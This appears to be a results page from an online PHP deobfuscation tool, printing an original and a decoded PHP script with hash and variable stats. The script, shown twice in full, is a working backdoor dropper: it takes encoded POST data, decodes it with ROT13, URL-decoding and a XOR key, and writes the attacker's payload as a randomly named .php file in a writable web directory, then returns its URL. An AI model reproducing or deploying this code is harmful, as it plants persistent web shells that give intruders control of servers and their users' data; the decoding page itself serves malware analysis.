Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $mdizhd = "yzabrxxbaxleycrv";$cmcozacwci = "";foreach ($_POST as $uysma => $igpnxwya..

Decoded Output download

<?php $mdizhd = "yzabrxxbaxleycrv";$cmcozacwci = "";foreach ($_POST as $uysma => $igpnxwyad){if (strlen($uysma) == 16 and substr_count($igpnxwyad, "%") > 10){ceedzasjx($uysma, $igpnxwyad);}}function ceedzasjx($uysma, $prwtnkl){global $cmcozacwci;$cmcozacwci = $uysma;$prwtnkl = str_split(rawurldecode(str_rot13($prwtnkl)));function bkdvaybwvo($eqtpztj, $uysma){global $mdizhd, $cmcozacwci;return $eqtpztj ^ $mdizhd[$uysma % strlen($mdizhd)] ^ $cmcozacwci[$uysma % strlen($cmcozacwci)];}$prwtnkl = implode("", array_map("bkdvaybwvo", array_values($prwtnkl), array_keys($prwtnkl)));$prwtnkl = @unserialize($prwtnkl);if (@is_array($prwtnkl)){$uysma = array_keys($prwtnkl);$prwtnkl = $prwtnkl[$uysma[0]];if ($prwtnkl === $uysma[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function ymdurpkwfr($wssqlir) {static $vqorr = array();$ciraiqhd = glob($wssqlir . '/*', GLOB_ONLYDIR);if (count($ciraiqhd) > 0) {foreach ($ciraiqhd as $wssql){if (@is_writable($wssql)){$vqorr[] = $wssql;}}}foreach ($ciraiqhd as $wssqlir) ymdurpkwfr($wssqlir);return $vqorr;}$tizhphhrfl = $_SERVER["DOCUMENT_ROOT"];$ciraiqhd = ymdurpkwfr($tizhphhrfl);$uysma = array_rand($ciraiqhd);$bkleaqjdl = $ciraiqhd[$uysma] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($bkleaqjdl, $prwtnkl);echo "http://" . $_SERVER["HTTP_HOST"] . substr($bkleaqjdl, strlen($tizhphhrfl));exit();}}} ?>

Did this file decode correctly?

Original Code

<?php $mdizhd = "yzabrxxbaxleycrv";$cmcozacwci = "";foreach ($_POST as $uysma => $igpnxwyad){if (strlen($uysma) == 16 and substr_count($igpnxwyad, "%") > 10){ceedzasjx($uysma, $igpnxwyad);}}function ceedzasjx($uysma, $prwtnkl){global $cmcozacwci;$cmcozacwci = $uysma;$prwtnkl = str_split(rawurldecode(str_rot13($prwtnkl)));function bkdvaybwvo($eqtpztj, $uysma){global $mdizhd, $cmcozacwci;return $eqtpztj ^ $mdizhd[$uysma % strlen($mdizhd)] ^ $cmcozacwci[$uysma % strlen($cmcozacwci)];}$prwtnkl = implode("", array_map("bkdvaybwvo", array_values($prwtnkl), array_keys($prwtnkl)));$prwtnkl = @unserialize($prwtnkl);if (@is_array($prwtnkl)){$uysma = array_keys($prwtnkl);$prwtnkl = $prwtnkl[$uysma[0]];if ($prwtnkl === $uysma[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function ymdurpkwfr($wssqlir) {static $vqorr = array();$ciraiqhd = glob($wssqlir . '/*', GLOB_ONLYDIR);if (count($ciraiqhd) > 0) {foreach ($ciraiqhd as $wssql){if (@is_writable($wssql)){$vqorr[] = $wssql;}}}foreach ($ciraiqhd as $wssqlir) ymdurpkwfr($wssqlir);return $vqorr;}$tizhphhrfl = $_SERVER["DOCUMENT_ROOT"];$ciraiqhd = ymdurpkwfr($tizhphhrfl);$uysma = array_rand($ciraiqhd);$bkleaqjdl = $ciraiqhd[$uysma] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($bkleaqjdl, $prwtnkl);echo "http://" . $_SERVER["HTTP_HOST"] . substr($bkleaqjdl, strlen($tizhphhrfl));exit();}}}

Function Calls

None

Variables

$mdizhd yzabrxxbaxleycrv
$cmcozacwci

Stats

MD5 758d69691ccb103539093939304032b4
Eval Count 0
Decode Time 85 ms